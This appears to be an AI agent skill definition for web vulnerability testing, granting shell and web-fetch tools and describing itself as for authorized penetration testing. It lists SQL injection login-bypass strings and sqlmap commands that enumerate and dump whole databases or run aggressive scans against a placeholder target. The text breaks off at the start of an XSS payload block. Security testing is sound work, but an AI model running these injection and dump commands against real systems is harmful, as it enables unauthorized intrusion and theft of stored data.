--- name: web-vulnerability-testing description: Comprehensive web application vulnerability testing techniques including SQLi, XSS, LFI, RFI, and authentication bypass allowed-tools: Bash, Read, Write, WebFetch --- # Web Vulnerability Testing Skill ## Purpose This skill provides systematic approaches for identifying and exploiting common web application vulnerabilities during authorized penetration testing. ## SQL Injection Testing ### Manual Detection ```bash # Basic SQLi test strings ' OR '1'='1 ' OR 1=1-- ' OR 1=1# ' OR 1=1\/* admin' -- admin' # admin'\/* ' or 1=1-- ' or 1=1# ' or 1=1\/* ') or '1'='1-- ') or ('1'='1-- ``` ### SQLMap Automation ```bash # Basic scan sqlmap -u "http:\/\/{target}\/page.php?id=1" --batch --banner # Post request sqlmap -u "http:\/\/{target}\/login.php" --data="username=admin&password=test" --batch # Full enumeration sqlmap -u "http:\/\/{target}\/page.php?id=1" --batch --dbs --tables --columns --dump # With cookie sqlmap -u "http:\/\/{target}\/page.php?id=1" --cookie="PHPSESSID=abc123" --batch # Aggressive testing sqlmap -u "http:\/\/{target}\/page.php?id=1" --level=5 --risk=3 --batch ``` ## Cross-Site Scripting (XSS) ### Reflected XSS Payloads ```javascript